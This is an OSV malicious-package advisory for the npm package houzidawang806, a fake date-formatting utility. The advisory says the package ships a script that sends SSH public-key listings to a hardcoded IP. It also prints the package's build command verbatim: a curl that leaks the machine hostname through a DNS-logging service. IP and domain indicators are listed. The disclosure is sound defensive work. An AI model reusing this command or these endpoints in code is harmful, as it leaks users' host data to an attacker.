MAL-2026-5729

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/houzidawang806/MAL-2026-5729.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5729
Published
2026-06-13T05:07:26Z
Modified
2026-06-13T20:46:41.254352817Z
Summary
Malicious code in houzidawang806 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b)

Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on npm install; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs curl http://$(hostname).ba6511da.log.dnslog.pp.ua, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running npm run build leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006292",
            "import_time": "2026-06-13T05:36:32.832572023Z",
            "sha256": "186cef2d90669627c144f6f764841e857ded307a0372238aeecc6c8e91764a8c",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:56Z",
            "versions": [
                "1.0.7"
            ]
        },
        {
            "id": "IN-MAL-2026-006291",
            "import_time": "2026-06-13T05:36:32.765615555Z",
            "sha256": "1f9aa6eb5f4473f97122e818f166c25731d5ce08bde32e7cabb6d0ad4a8bcd72",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:33Z",
            "versions": [
                "1.0.9"
            ]
        },
        {
            "id": "IN-MAL-2026-006287",
            "import_time": "2026-06-13T05:36:32.529683587Z",
            "sha256": "c9465880823df07bf6d3072e9f571017345cbb8f439ae6c6b746dd961957c124",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:26Z",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-006295",
            "versions": [
                "1.0.4"
            ],
            "sha256": "cf3755e1d95cbc35447eddcf7dbd3f73e38f5bcb79191e331e5d031b788344a5",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:08:09Z",
            "import_time": "2026-06-13T05:36:32.981655139Z"
        },
        {
            "id": "IN-MAL-2026-006296",
            "versions": [
                "1.0.2"
            ],
            "sha256": "d3b9e97914f61e1cbdea802c76cafec8899ecfd781278c5b67f065e6cc095b97",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:08:15Z",
            "import_time": "2026-06-13T05:36:33.081861905Z"
        },
        {
            "id": "IN-MAL-2026-006289",
            "versions": [
                "1.0.1"
            ],
            "sha256": "d87250aff5f494d186912ae9a97ee2be51ee2297eb2d195170aa7d9af74f34b7",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:32Z",
            "import_time": "2026-06-13T05:36:32.668250211Z"
        },
        {
            "id": "IN-MAL-2026-006293",
            "versions": [
                "1.0.6"
            ],
            "sha256": "ec06bc7b9fb4587ff18dc1a514679b70b1dd33c3ba42a09d49cb2d0543d22c56",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:08:00Z",
            "import_time": "2026-06-13T05:36:32.873229158Z"
        },
        {
            "id": "IN-MAL-2026-006294",
            "import_time": "2026-06-13T05:36:32.931422279Z",
            "sha256": "1d4f46e68d3ab009218933952fd965f94087b03aa767134b22a17b89558b1672",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:08:01Z",
            "versions": [
                "1.0.5"
            ]
        },
        {
            "id": "IN-MAL-2026-006290",
            "import_time": "2026-06-13T05:36:32.713259139Z",
            "sha256": "25812116b56b6b60b70884319f6f1b373274301a4c70b0bb759e47fd7b0d65e4",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:33Z",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-006288",
            "versions": [
                "1.0.3"
            ],
            "sha256": "b80766cd2ee40e37bff527ac401fb774b472394123c78f31e628773c07ae7361",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T05:07:27Z",
            "import_time": "2026-06-13T05:36:32.615928634Z"
        },
        {
            "id": "IN-MAL-2026-006308",
            "versions": [
                "1.1.2"
            ],
            "sha256": "ec519cede9b3aa68ae0ed2106ae1b96f26fc1c28096554119c81a5b8d37d5acc",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:43Z",
            "import_time": "2026-06-13T07:25:38.745061313Z"
        },
        {
            "id": "IN-MAL-2026-006303",
            "import_time": "2026-06-13T07:25:38.294700293Z",
            "sha256": "393c170cfd9f26fdb4e33b046848c4c0ffa48aacc87ff35bad4552738742a790",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:39Z",
            "versions": [
                "1.1.3"
            ]
        },
        {
            "id": "IN-MAL-2026-006310",
            "import_time": "2026-06-13T07:25:38.86213728Z",
            "sha256": "5e09b1bef1c3b9c350dcd181016a81cbc4374667e368a94eaa6e90ca5a3e5a87",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:43Z",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-006304",
            "import_time": "2026-06-13T07:25:38.38512306Z",
            "sha256": "bec406850a4518b586831144001546c6004855af816494e7c9eb74cacf11de41",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:40Z",
            "versions": [
                "1.1.1"
            ]
        },
        {
            "id": "IN-MAL-2026-006302",
            "versions": [
                "1.1.4"
            ],
            "sha256": "c5a25c4c40caa00bef428fd40655dd367a255c4ece0fee9750424e38354b2c22",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:39Z",
            "import_time": "2026-06-13T07:25:38.229882399Z"
        },
        {
            "id": "IN-MAL-2026-006299",
            "import_time": "2026-06-13T07:25:38.041935392Z",
            "sha256": "de47535954035b8cc659e8f202145e9c7f750f5e8e9f6c8448c9c7db2b133f70",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:37Z",
            "versions": [
                "1.1.5"
            ]
        },
        {
            "id": "IN-MAL-2026-006309",
            "import_time": "2026-06-13T07:25:38.81099852Z",
            "sha256": "03d5dd0560af1dbdb7ef5e65e84512fac273de4797eecf1cda7e1f86128a41ff",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:43Z",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-006298",
            "import_time": "2026-06-13T07:25:37.975731093Z",
            "sha256": "2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:36Z",
            "versions": [
                "1.1.5"
            ]
        },
        {
            "id": "IN-MAL-2026-006301",
            "versions": [
                "1.1.7"
            ],
            "sha256": "36f871ca79205edffab01336c146c7627e76579ba15d07fa227550462441219a",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:38Z",
            "import_time": "2026-06-13T07:25:38.169030939Z"
        },
        {
            "id": "IN-MAL-2026-006297",
            "versions": [
                "1.1.8"
            ],
            "sha256": "57614e94ac6da546e583ba0c419c05ebc75fbc40151d52bf9d8921fe76901312",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:34Z",
            "import_time": "2026-06-13T07:25:37.884861934Z"
        },
        {
            "id": "IN-MAL-2026-006307",
            "import_time": "2026-06-13T07:25:38.650331663Z",
            "sha256": "b4d8424e76cba15238115405bb8c75978f98f8f4aeb851a36eb7f26e3111d4c4",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T06:51:42Z",
            "versions": [
                "1.1.0"
            ]
        },
        {
            "id": "IN-MAL-2026-006363",
            "versions": [
                "1.2.4"
            ],
            "sha256": "222b782ba821e333777d25b4baca0be785471d6307f292aec924271278d78f0a",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T20:07:40Z",
            "import_time": "2026-06-13T20:33:18.161420367Z"
        },
        {
            "id": "IN-MAL-2026-006362",
            "import_time": "2026-06-13T20:33:18.118677319Z",
            "sha256": "f0c521435e5efccb13ae77d5e0c7fbacff8835fd8adfd1965b528361a5cb7dd9",
            "source": "amazon-inspector",
            "modified_time": "2026-06-13T20:07:39Z",
            "versions": [
                "1.2.4"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / houzidawang806

Package

Affected ranges

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.9
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.7
1.1.8
1.2.4

Database specific

indicators
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "sha256": "01e2ae4c999c97c0deac72c7c36bbda5c0d81a95273d4cc5e7dd1dc6dc4596db",
            "tlsh": "033161d148f9ce304f3583952762c62af606fb23a106c640f7d80bea2fb299485d1ced"
        },
        {
            "path": "package.json",
            "sha256": "e9b7b2a3202661282f2e1647b54d5cf3b20d9dc6f2f92ad7d640b84a48a403c9",
            "tlsh": "ffd02b299e006c230bf0466599320a07b9244f1f027c0c0f71b7301803d35a544ba705"
        }
    ],
    "package_integrity": [
        {
            "filename": "houzidawang806-1.0.7.tgz",
            "hashes": {
                "sha512_sri": "sha512-YR9zRDKY+qh8H6HQ/zlcjeEoNguLNqL2tTt13bOxtgo0lKner+AdeKmijqHC9HuUaV7cJXHKnVyD8TxciGJOzA==",
                "sha1": "0a722512f0c06224653b7f48a6ee0fd5cd49899c"
            }
        }
    ],
    "ips": [
        "104.21.65.122"
    ],
    "domains": [
        "275e856d.log.dnslog.pp.ua"
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/houzidawang806/MAL-2026-5729.json"